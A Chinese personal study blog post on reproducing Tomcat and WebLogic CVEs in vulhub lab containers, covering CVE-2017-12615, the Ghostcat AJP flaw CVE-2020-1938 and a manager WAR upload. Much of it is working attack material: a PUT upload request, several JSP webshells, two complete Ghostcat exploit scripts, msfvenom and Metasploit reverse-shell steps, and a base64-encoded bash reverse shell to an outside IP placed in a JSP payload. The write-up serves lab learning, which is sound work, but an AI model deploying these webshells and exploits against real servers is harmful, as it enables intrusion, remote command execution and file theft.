楔子

由于最近也不知道该学什么,怎么学,最关键是要不要学,很迷茫。

之前培训以及前两天跟同事交流都提到了vulhub这个玩意儿,以前看过这东西但是看了两眼觉得只是一些比较老的cve和一个比较方便的普通web靶场,没有想到还可以当知识库使用,这两天仔细看了发现还是有一些比较新的cve,看起来也是持续更新的,于是稍微琢磨了一下,打算先走一下常见中间件的cve,光有个数据库恐怕是不行的,就怕看见了但是认不出来hhh。反正没什么事儿,每天有空了花几分钟搞一个先弄着走吧。。。

我的环境问题

─# docker-compose up -d
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/docker/api/client.py", line 214, in _retrieve_server_version
    return self.version(api_version=False)["ApiVersion"]
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/docker/api/daemon.py", line 181, in version
    return self._result(self._get(url), json=True)
                        ^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/docker/utils/decorators.py", line 46, in inner
    return f(self, *args, **kwargs)

环境来就报错,真的无语,干脆不用docker-composer了,可以给docker安装composer插件:

mkdir -p ~/.docker/cli-plugins/
curl -SL https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o ~/.docker/cli-plugins/docker-compose
chmod +x ~/.docker/cli-plugins/docker-compose

然后

docker compose up -d 

但是:

proxychains docker compose up -d
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
WARN[0000] /root/work/Vulnhub/vulhub/tomcat/CVE-2017-12615/docker-compose.yml: the attribute `version` is obsolete, it will be ignored, please remove it to avoid potential confusion 
[+] Building 30.4s (3/3) FINISHED                                                                                              docker:default
 => [tomcat internal] load build definition from Dockerfile                                                                              0.0s
 => => transferring dockerfile: 32B                                                                                                      0.0s 
 => [tomcat internal] load .dockerignore                                                                                                 0.0s 
 => => transferring context: 2B                                                                                                          0.0s 
 => ERROR [tomcat internal] load metadata for docker.io/vulhub/tomcat:8.5.19                                                            30.1s 
------
 > [tomcat internal] load metadata for docker.io/vulhub/tomcat:8.5.19:
------
failed to solve: rpc error: code = Unknown desc = failed to solve with frontend dockerfile.v0: failed to create LLB definition: failed to do request: Head "https://docker.mirrors.ustc.edu.cn/v2/vulhub/tomcat/manifests/8.5.19?ns=docker.io": dial tcp 127.0.0.2:443: connect: connection refused

习惯了,换个源试试:/etc/docker/daemon.json

{
  "registry-mirrors": [
    "https://registry.docker-cn.com",
    "https://mirror.aliyuncs.com"
  ]
}

还是报错,真无语了,重新弄了一个虚拟机,还是docker不了,相似。两点了,睡了。

今天随便找了一个快照回退回去,笑死,docker-compose没报错。。。

这是使用的镜像:

{
"registry-mirrors": [
"https://docker.m.daocloud.io",
"https://dockerproxy.com",
"https://docker.mirrors.ustc.edu.cn",
"https://docker.nju.edu.cn",
"http://hammal.staronearth.win/",
"http://hub.staronearth.win/"
]
}

网上随便复制一个,今天居然跑起来了泪目。。。

1. 停止并删除所有容器


docker stop $(docker ps -aq)
docker rm $(docker ps -aq)
  • docker ps -aq 列出所有容器的 ID,包括已停止的容器。
  • 这两条命令会先停止,然后删除所有容器。

2. 删除所有镜像

bash


复制代码
docker rmi $(docker images -q)
  • docker images -q 列出所有镜像的 ID。
  • 这条命令会删除所有镜像。如果有依赖关系,可能会出现错误。

如果想确保删除所有无用的资源,可以使用以下清理命令:

bash


复制代码
docker system prune -a
  • docker system prune -a 会删除所有未被使用的镜像、容器、网络和挂载卷。

Tomcat

CVE-2017-12615 文件上传

容器终于起来了,进去看看:

docker exec -it <container_id> /bin/bash

跟着几个哥们装模做样审一下吧,我也不知道咋学:

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。

找到这个出现漏洞的配置:

root@673198ebed27:/usr/local/tomcat/conf# cat web.xml |grep readonly
  <!--   readonly            Is this context "read only", so HTTP           -->
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

刚开始没找到,有好几个web.xml:

root@673198ebed27:/usr/local/tomcat# grep -ril "readonly" .
./conf/web.xml

看了一下各位师傅的代码审计,因为看不懂所以只学到了一手:

image-20241106225015867

image-20241106224846391

image-20241106225154840

这里可以看到File对name进行了格式化,最后效果是删除了最后的/

影响

由于存在去掉最后的 / 的特性,那么这个漏洞自然影响 Linux 以及 Windows 版本。而且经过测试,这个漏洞影响全部的 Tomcat 版本,从 5.x 到 9.x 无不中枪。目前来说,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。

然而,经过黑盒测试,当 PUT 地址为/1.jsp/时,仍然会创建 JSP,会影响 Linux 和 Windows 服务器,并且 Bypass 了之前的补丁

由于后端会删除末尾的/,那我们在前面上传的时候可以添加/来绕过文件名的校验,由此可以展开到其他地方的bypass。

poc

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

image-20241106230030476

jsp木马

这里顺带学一下jsp木马

java安全——jsp一句话木马_cmd写jsp一句话-CSDN博客

无回显:

 <%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

带回显:

  <%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    System.out.println(process);
    InputStream inputStream = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null){
      response.getWriter().println(line);
    }
  %>

这个好像用不了,又找了一个:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

后面这个可以连接但是无法直接执行,找个时间研究一下jsp码。

有密码带回显:

  <%
    if ("password".equals(request.getParameter("pass"))){
      Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
//    System.out.println(process);
      InputStream inputStream = process.getInputStream();
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
      String line;
      while ((line = bufferedReader.readLine()) != null){
        response.getWriter().println(line);
      }
    }
  %>
//pass=password&cmd=xxx

这里还涉及到:

让 Burp Suite 自动管理 Content-Length

Burp Suite 提供了自动计算 Content-Length 的功能:

  1. 在 Burp Suite 中,点击 Proxy > Options
  2. 找到 Intercept Client Requests 设置下的 Match and Replace 规则。
  3. 添加一个新的 Header: Content-Length 自动更新规则,或启用默认设置的自动计算规则。这样在发送请求时,Burp Suite 会自动根据修改后的请求体计算并更新 Content-Length 字段。

CVE-2020-1938 文件包含

漏洞影响的产品版本包括:

Tomcat 6

Tomcat 7

Tomcat 8

Tomcat 9

由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

poc

poc.py #!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length+1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() t = Tomcat(args.target, args.port) _,data = t.perform_request('/asdf',attributes=[ {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, ]) print('----------------------------') print("".join([d.data for d in data]))
python2 poc.py -p 8009 -f /WEB-INF/web.xml 127.0.0.1

一个有意思的扩展:

CVE-2020-1938 :Apache Tomcat AJP 漏洞复现和分析 - 渗透测试中心 - 博客园

一个简单点的getshell:【网络安全—漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细)-CSDN博客

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.150 LPORT=8888 -f raw > aini_shell.txt
docker cp aini_shell.txt 525a39f3a85e:/usr/local/tomcat/webapps/ROOT/WEB-INF/
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 ## 攻击器IP
set lport 4444  ## 攻击器需要监听的端口(跟生成反向shell时设置的端口一样)
python2 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/aini_shell.txt 192.168.31.160

exp

YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC85MDAxIDA+JjE= 
//bash -i >& /dev/tcp/172.20.10.4/9001 0>&1

payload:shell.txt

<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}");%>

Ghostcat-CNVD-2020-10487/ajpShooter.py at master · 00theway/Ghostcat-CNVD-2020-10487

POC_shooter.py ``` #!/usr/bin/python3 # Author: 00theway import socket import binascii import argparse import urllib.parse debug = False def log(type, *args, **kwargs): if type == 'debug' and debug == False: return elif type == 'append' and debug == True: return elif type == 'append': kwargs['end'] = '' print(*args, **kwargs) return print('[%s]' % type.upper(), *args, **kwargs) class ajpRequest(object): def __init__(self, request_url, method='GET', headers=[], attributes=[]): self.request_url = request_url self.method = method self.headers = headers self.attributes = attributes def method2code(self, method): methods = { 'OPTIONS': 1, 'GET': 2, 'HEAD': 3, 'POST': 4, 'PUT': 5, 'DELETE': 6, 'TRACE': 7, 'PROPFIND': 8 } code = methods.get(method, 2) return code def make_headers(self): header2code = { b'accept': b'\xA0\x01', # SC_REQ_ACCEPT b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION b'connection': b'\xA0\x06', # SC_REQ_CONNECTION b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH b'cookie': b'\xA0\x09', # SC_REQ_COOKIE b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2 b'host': b'\xA0\x0B', # SC_REQ_HOST b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA b'referer': b'\xA0\x0D', # SC_REQ_REFERER b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT } headers_ajp = [] for (header_name, header_value) in self.headers: code = header2code.get(header_name, b'') if code != b'': headers_ajp.append(code) headers_ajp.append(self.ajp_string(header_value)) else: headers_ajp.append(self.ajp_string(header_name)) headers_ajp.append(self.ajp_string(header_value)) return self.int2byte(len(self.headers), 2), b''.join(headers_ajp) def make_attributes(self): ''' org.apache.catalina.jsp_file javax.servlet.include.servlet_path + javax.servlet.include.path_info ''' attribute2code = { b'remote_user': b'\x03', b'auth_type': b'\x04', b'query_string': b'\x05', b'jvm_route': b'\x06', b'ssl_cert': b'\x07', b'ssl_cipher': b'\x08', b'ssl_session': b'\x09', b'req_attribute': b'\x0A', # Name (the name of the attribut follows) b'ssl_key_size': b'\x0B' } attributes_ajp = [] for (name, value) in self.attributes: code = attribute2code.get(name, b'') if code != b'': attributes_ajp.append(code) if code == b'\x0A': for v in value: attributes_ajp.append(self.ajp_string(v)) else: attributes_ajp.append(self.ajp_string(value)) return b''.join(attributes_ajp) def ajp_string(self, message_bytes): # an AJP string # the length of the string on two bytes + string + plus two null bytes message_len_int = len(message_bytes) return self.int2byte(message_len_int, 2) + message_bytes + b'\x00' def int2byte(self, data, byte_len=1): return data.to_bytes(byte_len, 'big') def make_forward_request_package(self): ''' AJP13_FORWARD_REQUEST := prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST method (byte) protocol (string) req_uri (string) remote_addr (string) remote_host (string) server_name (string) server_port (integer) is_ssl (boolean) num_headers (integer) request_headers *(req_header_name req_header_value) attributes *(attribut_name attribute_value) request_terminator (byte) OxFF ''' req_ob = urllib.parse.urlparse(self.request_url) # JK_AJP13_FORWARD_REQUEST prefix_code_int = 2 prefix_code_bytes = self.int2byte(prefix_code_int) method_bytes = self.int2byte(self.method2code(self.method)) protocol_bytes = b'HTTP/1.1' req_uri_bytes = req_ob.path.encode('utf8') remote_addr_bytes = b'127.0.0.1' remote_host_bytes = b'localhost' server_name_bytes = req_ob.hostname.encode('utf8') # SSL flag if req_ob.scheme == 'https': is_ssl_boolean = 1 else: is_ssl_boolean = 0 # port server_port_int = req_ob.port if not server_port_int: server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int))) num_headers_bytes, headers_ajp_bytes = self.make_headers() attributes_ajp_bytes = self.make_attributes() message = [] message.append(prefix_code_bytes) message.append(method_bytes) message.append(self.ajp_string(protocol_bytes)) message.append(self.ajp_string(req_uri_bytes)) message.append(self.ajp_string(remote_addr_bytes)) message.append(self.ajp_string(remote_host_bytes)) message.append(self.ajp_string(server_name_bytes)) message.append(server_port_bytes) message.append(is_ssl_bytes) message.append(num_headers_bytes) message.append(headers_ajp_bytes) message.append(attributes_ajp_bytes) message.append(b'\xff') message_bytes = b''.join(message) send_bytes = b'\x12\x34' + self.ajp_string(message_bytes) return send_bytes class ajpResponse(object): def __init__(self, s, out_file): self.sock = s self.out_file = out_file self.body_start = False self.common_response_headers = { b'\x01': b'Content-Type', b'\x02': b'Content-Language', b'\x03': b'Content-Length', b'\x04': b'Date', b'\x05': b'Last-Modified', b'\x06': b'Location', b'\x07': b'Set-Cookie', b'\x08': b'Set-Cookie2', b'\x09': b'Servlet-Engine', b'\x0a': b'Status', b'\x0b': b'WWW-Authenticate', } if not self.out_file: self.out_file = False else: log('*', 'store response in %s' % self.out_file) self.out = open(self.out_file, 'wb') def parse_response(self): log('debug', 'start') magic = self.recv(2) # first two bytes are the 'magic' log('debug', 'magic', magic, binascii.b2a_hex(magic)) # next two bytes are the length data_len_int = self.read_int(2) code_int = self.read_int(1) log('debug', 'code', code_int) if code_int == 3: self.parse_send_body_chunk() elif code_int == 4: self.parse_headers() elif code_int == 5: self.parse_response_end() quit() self.parse_response() def parse_headers(self): log("append", '\n') log('debug', 'parsing RESPONSE HEADERS') status_int = self.read_int(2) msg_bytes = self.read_string() log('<', status_int, msg_bytes.decode('utf8')) headers_number_int = self.read_int(2) log('debug', 'headers_nb', headers_number_int) for i in range(headers_number_int): # header name: two cases first_byte = self.recv(1) second_byte = self.recv(1) if first_byte == b'\xa0': header_key_bytes = self.common_response_headers[second_byte] else: header_len_bytes = first_byte + second_byte header_len_int = int.from_bytes(header_len_bytes, byteorder='big') header_key_bytes = self.read_bytes(header_len_int) # consume the 0x00 terminator self.recv(1) header_value_bytes = self.read_string() try: header_key_bytes = header_key_bytes.decode('utf8') header_value_bytes = header_value_bytes.decode('utf8') except: pass log('<', '%s: %s' % (header_key_bytes, header_value_bytes)) def parse_send_body_chunk(self): if not self.body_start: log('append', '\n') log('debug', 'start parsing body chunk') self.body_start = True chunk = self.read_string() if self.out_file: self.out.write(chunk) else: try: chunk = chunk.decode('utf8') except: pass log('append', chunk) def parse_response_end(self): log('debug', 'start parsing end') code_reuse_int = self.read_int(1) log('debug', "finish parsing end", code_reuse_int) self.sock.close() def read_int(self, int_len): return int.from_bytes(self.recv(int_len), byteorder='big') def read_bytes(self, bytes_len): return self.recv(bytes_len) def read_string(self, int_len=2): data_len = self.read_int(int_len) data = self.recv(data_len) # consume the 0x00 terminator end = self.recv(1) log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end)) return data def recv(self, data_len): data = self.sock.recv(data_len) while len(data) < data_len: log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data))) data += self.sock.recv(data_len - len(data)) return data class ajpShooter(object): def __init__(self, args): self.args = args self.headers = args.header self.ajp_port = args.ajp_port self.requesturl = args.url self.target_file = args.target_file self.shooter = args.shooter self.method = args.X self.out_file = args.out_file def shoot(self): headers = self.transform_headers() target_file = self.target_file.encode('utf8') attributes = [] evil_req_attributes = [ (b'javax.servlet.include.request_uri', b'index'), (b'javax.servlet.include.servlet_path', target_file) ] for req_attr in evil_req_attributes: attributes.append((b"req_attribute", req_attr)) if self.shooter == 'read': self.requesturl += '/index.txt' else: self.requesturl += '/index.jsp' ajp_ip = urllib.parse.urlparse(self.requesturl).hostname s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ajp_ip, self.ajp_port)) message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package() s.send(message) ajpResponse(s, self.out_file).parse_response() def transform_headers(self): self.headers = [] if not self.headers else self.headers newheaders = [] for header in self.headers: hsplit = header.split(':') hname = hsplit[0] hvalue = ':'.join(hsplit[1:]) newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8'))) return newheaders if __name__ == "__main__": # parse command line arguments print(''' _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test ''') parser = argparse.ArgumentParser() parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/') parser.add_argument('ajp_port', default=8009, type=int, help='ajp port') parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg') parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file') parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url') parser.add_argument('-H', '--header', help='add a header', action='append') parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET', choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND']) parser.add_argument('-d', '--data', nargs=1, help='The data to POST') parser.add_argument('-o', '--out-file', help='write response to file') parser.add_argument('--debug', action='store_true', default=False) args = parser.parse_args() debug = args.debug ajpShooter(args).shoot() ```

// 去除代码空行

在 Kali Linux 中,你可以使用以下几种方法来去除脚本中的空行:

方法 1:使用 sed

bash


复制代码
sed '/^$/d' your_script.sh > output_script.sh
  • 这条命令会删除空行并将结果输出到 output_script.sh 文件中。

方法 2:使用 grep

bash
复制代码
grep -v '^$' your_script.sh > output_script.sh
  • grep -v '^$' 会过滤掉所有空行,将非空行保存到 output_script.sh

方法 3:使用 awk

bash


复制代码
awk 'NF' your_script.sh > output_script.sh
  • 这条命令会只保留包含内容的行(非空行),并输出到新的文件。

也可以上传一句话命令执行文件exec.txt(里面的系统命令可以根据需要修改)

exec.txt内容如下:

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

后续再跟进一下触发过程和代码,相当于学习代码审计了。

CVE-2020-1938 :Apache Tomcat AJP 漏洞复现和分析 - 渗透测试中心 - 博客园

Tomcat8 (war)

这个应该是很老的一个漏洞,需要管理员账户。

只是需要注意文件上传成功后,默认会在网站根目录下生成和war包名称一致的目录,我的压缩文件名为shell.jsp.war,则要到/shell.jsp目录下访问shell.jsp

http://127.0.0.1:8080/shell.jsp/shell.jsp

Weblogic

CVE-2023-21839

CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 RCE 漏洞

Weblogic反序列化(CVE-2023-21839)漏洞复现 - Vice_2203 - 博客园

Weblogic CVE 2023-21839漏洞复现 - FreeBuf网络安全行业门户

如果不适用工具包的话环境还比较麻烦,这里使用工具复现一下:

首先要启动一个ldap服务器:

tool:JNDI利用工具

